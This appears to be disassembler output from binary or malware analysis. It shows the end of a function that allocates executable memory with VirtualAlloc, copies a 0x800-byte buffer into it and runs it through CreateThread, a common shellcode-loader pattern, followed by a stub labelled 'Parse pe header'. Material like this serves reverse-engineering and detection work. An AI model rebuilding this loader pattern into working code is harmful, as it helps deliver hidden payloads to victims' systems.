call fcn.140001010
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x140001460
lea rcx, [0x14001e4ac]
call fcn.140001010
mov edx, 0x801
lea r9d, [rdi + 0x40]
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, 0x800
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call fcn.140003640
xor r9d, r9d
mov qword [rsp + 0x28], rbp
mov r8, rbx
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x500]
xor rcx, rsp
call fcn.140001520
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x1400082e8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400080e4